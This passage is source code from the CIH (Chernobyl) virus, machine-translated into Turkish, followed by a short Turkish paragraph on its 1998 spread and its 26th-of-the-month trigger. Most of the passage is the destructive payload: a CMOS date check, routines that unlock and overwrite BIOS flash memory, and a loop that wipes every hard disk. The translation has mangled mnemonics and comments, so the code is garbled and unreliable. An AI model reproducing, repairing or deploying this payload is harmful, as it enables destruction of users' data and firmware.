; * Bu Özel G / Ç'yi uygulayın *
; * İstek. *
; *************************************
pIFSFunc:
mov ebx , esp
itme DWORD ptr [ ebx + 20h + 04H + 14h ] ; Pioreq itin
[ ebx + 20h + 04h ] çağrısı ; PIFSFunc'u arayın
pop ecx ;
mov [ ebx + 1ch ], eax ; Yığındaki EAX Değerini Değiştirme
; ***************************
; * PIFSFunc'u Aradıktan Sonra, *
; * * 'Dan Bazı Verileri Alın *
; * Döndü pioreq. *
; ***************************
cmp DWORD ptr [ ebx + 20h + 04h + 04h ] 00000024h
jne QuitMyVirusFileSystemHook
; *****************
; * Dosyayı al *
; * Değişiklik *
; * Tarih ve saat *
; * DOS biçiminde. *
; *****************
MOV eax , [ ecx + 28h ]
mov (FileModificationTime - @ 6 ) [ esi ], eax
; ***************************
; * Virüsümden Çık '
; * IFSMgr_FileSystemHook *
; ***************************
QuitMyVirusFileSystemHook:
popad
çürümek
; *************************************
; * Bilgisayarı öldür! ... * ^ _ ^ * *
; *************************************
IsKillComputer:
; BIOS CMOS'tan Hemen Gün Alın
mov al , 07h
üzerinden 70H , al
içerisinde al , 71H
xor al , 26h ; ?? / 26 / ????
Eğer DEBUG
jmp DisableOnBusy
BAŞKA
JNZ DisableOnBusy
ENDIF
; **************************************
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; * Öldür Öldür Öldür Öldür Öldür Öldür Öldür *
; **************************************
; ***************************
; * BIOS EEPROM'u öldür *
; ***************************
mov bp , 0cf8h
lea esi , IOForEEPROM - @ 7 [ esi ]
; ***********************
; * BIOS Sayfasını Göster *
; * 000E0000 - 000EFFFF *
; * (64 KB) *
; ***********************
mov edi , 8000384ch
mov dx , 0cfeh
cli
çağrı esi
; ***********************
; * BIOS Sayfasını Göster *
; * 000F0000 - 000FFFFF *
; * (64 KB) *
; ***********************
mov di , 0058 saat
dec edx ; ve al, 0fh
mov kelimesi ptr (BooleanCalculateCode - @ 10 ) [ esi ], 0f24h
çağrı esi
; ***********************
; * Ekstra BIOS'u göster *
; * Bellekteki ROM Verileri *
; * 000E0000 - 000E01FF *
; * (512 Bayt) *
; * ve Bölüm *
; * Ekstra BIOS’un *
; * Yazılsın ... *
; ***********************
lea ebx , EnableEEPROMToWrite - @ 10 [ esi ]
mov eax , 0e5555h
mov ecx , 0e2aaah
çağrı ebx
MOV bayt ptr [ eax'ait ], 60h
ecx itin
$ döngü
; ***********************
; * Ekstra BIOS'u öldür *
; * Bellekteki ROM Verileri *
; * 000E0000 - 000E007F *
; * (80 saat Bayt) *
; ***********************
xor ah , ah
mov [ eax ], al
xchg ecx , eax
$ döngü
; ***********************
; * Göster ve Etkinleştir *
; * BIOS Ana ROM Verileri *
; * 000E0000 - 000FFFFF *
; * (128 KB) *
; * Yazılabilir ... *
; ***********************
mov eax , 0f5555h
pop ecx
mov ch , 0aah
çağrı ebx
mov byte ptr [ eax ], 20 saat
$ döngü
; ***********************
; * BIOS Main'i öldür *
; * Bellekteki ROM Verileri *
; * 000FE000 - 000FE07F *
; * (80 saat Bayt) *
; ***********************
mov ah , 0e0h
mov [ eax ], al
; ***********************
; * BIOS Sayfasını Gizle *
; * 000F0000 - 000FFFFF *
; * (64 KB) *
; ***********************
; ya da al, 10 saat
mov kelimesi ptr (BooleanCalculateCode - @ 10 ) [ esi ], 100ch
çağrı esi
; ***************************
; * Tüm HardDisk'i öldür *
; ************************************************** *
; * IOR IOS_SendCommand İhtiyaçlarının Yapısı *
; ************************************************** *
; * ?? ?? ?? ?? 01 00 ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ************************************************** *
KillHardDisk:
xor, ebx , ebx
mov bh , FirstKillHardDiskNumber
ebx itin
alt esp , 2 kanal
0c0001000h itin
mov bh , 08h
ebx itin
ecx itin
ecx itin
ecx itin
40000501h itin
inc ecx
ecx itin
ecx itin
mov esi , esp
alt esp , 0ach
LoopOfKillHardDisk:
int 20h
dd 00100004 saat ; VXDCall IOS_SendCommand
cmp kelimesinin ptr [ ESI + 06h ], 0017h
je KillNextDataSection
ChangeNextHardDisk:
inc bayt ptr [ esi + 4dh ]
jmp LoopOfKillHardDisk
KillNextDataSection:
dword ptr ekle [ esi + 10h ], ebx
mov bayt ptr [ esi + 4dh ], FirstKillHardDiskNumber
jmp LoopOfKillHardDisk
; ***************************
; * Yazma EEPROM'u etkinleştirin *
; ***************************
EnableEEPROMToWrite:
mov [ eax ], cl
mov [ ecx ], al
mov bayt ptr [ eax ], 80 saat
mov [ eax ], cl
mov [ ecx ], al
çürümek
; ***************************
; * EEPROM için G / Ç *
; ***************************
IOForEEPROM:
@ 10 = IOForEEPROM
xchg eax , edi
xchg edx , ebp
dışarı dx , eax
xchg eax , edi
xchg edx , ebp
içerisinde al , dx
BooleanCalculateCode = $
ya da al , 44h
xchg eax , edi
xchg edx , ebp
dışarı dx , eax
xchg eax , edi
xchg edx , ebp
dışarı dx , al
çürümek
; ************************************************** *******
; * Statik Veri *
; ************************************************** *******
LastVxDCallAddress = IFSMgr_Ring0_FileIO
VxDCallAdresiTable db 00h
db IFSMgr_RemoveFileSystemApiHook - _PageAllocate
db UniToBCSPath - IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO - UniToBCSPath
VxDCallIDTable dd 00010053h , 00400068h , 00400041h , 00400032h
VxDCallTableSize = ($ - VxDCallIDTable) / 04 sa
; ************************************************** *******
; * Virüs Sürümü Telif Hakkı *
; ************************************************** *******
VirusVersionCopyright db 'CIH v'
db MajorVirusVersion + '0'
db '.'
db MinorVirusVersion + '0'
db 'TATUNG'
; ************************************************** *******
; * Virüs Boyutu *
; ************************************************** *******
VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark (04 s)
; + NumberOfSections (??) * SizeOfVirusCodeSectionTable (08h)
; +BizimFirstVirusCodeSectionTable (04s)
; ************************************************** *******
; * Dinamik Veri *
; ************************************************** *******
VirusGameDataStartAddress = VirusSize
@ 6 = VirusGameDataStartAddress
OnBusy db 0
FileModificationTime dd?
FileNameBuffer db DosyaAdıBufferSize dup (?)
@ 7 = FileNameBuffer
DataBuffer = $
@ 8 = DataBuffer
NumberOfSections dw?
TimeDateStamp gg?
SymbolsPointer dd?
NumberOfSymbols dd?
SizeOfOptionalHeader dw?
_ Karakteristikler dw?
Sihir dw?
LinkerVersion dw?
SizeOfCode dd?
SizeOfInitializedData dd?
SizeOfUninitializedData dd?
AddressOfEntryPoint gg?
BaseOfCode dd?
BaseOfData dd?
ImageBase dd?
@ 9 = $
SectionAlignment dd?
FileAlignment dd?
OperatingSystemVersion dd?
ImageVersion dd?
SubsystemVersion dd?
Ayrılmış dd?
SizeOfImage dd?
SizeOfHeaders dd?
SizeOfImageHeaderToRead = $ - NumberOfSections
NewAddressOfEntryPoint = DataBuffer ; DWORD
SizeOfImageHeaderToWrite = 04 saat
StartOfSectionTable = @ 9
SectionName = StartOfSectionTable ; QWORD
VirtualSize = StartOfSectionTable + 08h ; DWORD
VirtualAddress = StartOfSectionTable + 0ch ; DWORD
SizeOfRawData = StartOfSectionTable + 10h ; DWORD
PointerToRawData = StartOfSectionTable + 14h ; DWORD
PointerToRelocations = StartOfSectionTable + 18h ; DWORD
PointerToLineNumbers = StartOfSectionTable + 1ch ; DWORD
NumberOfRelocations = StartOfSectionTable + 20h ; WORD
NumberOfLinenNmbers = StartOfSectionTable + 22h ; WORD
Özellikler = StartOfSectionTable + 24h ; DWORD
SizeOfScetionTable = Özellikler + 04h - BölümAdı
; ************************************************** *******
; * Virüs Toplam İhtiyaç Belleği *
; ************************************************** *******
VirusNeedBaseMemory = $
VirusTotalNeedMemory = @ 9
; + NumberOfSections (??) * SizeOfScetionTable (28h)
; + SizeOfVirusCodeSectionTableEndMark (04 s)
; + NumberOfSections (??) * SizeOfVirusCodeSectionTable (08h)
; +BizimFirstVirusCodeSectionTable (04s)
; ************************************************** *******
; ************************************************** *******
VirusGame ENDS
İlk kez 1998 yılının Haziran ayında yayılmaya başlayan ve Güney Doğu Asya kökenli olan bu virus, 1 Temmuz 1998 tarihinde popüler anti-virus programlarının listesine eklendi.-
"Time Bomb" (Sisteme bulaştıkdan sonra belirli bir tarih vaya zamanı bekleyip aktif hale geçen virusler) özelliği gösteren bu virüsün bilinen bir kaç verisyonu mevcut. Bu virüsün bilinen bir versiyonu Çernobil Faciasının yıl dönümü olan her 26 Nisan 'da aktif hale geçiyor bir diğer versiyonu ise her ayın 26. günü aktif hale geçiyor ve sistemin Dosya Ulaşım Tablosunu (File Allocation Table) ve BIOS olarak nitelendirilen entegreyi (Bilgisayar açıldığında sistemin yapması gereken işlemleri ve bu işlemlerin sırasını tutan elektronik devre) tamamen siliyor.-


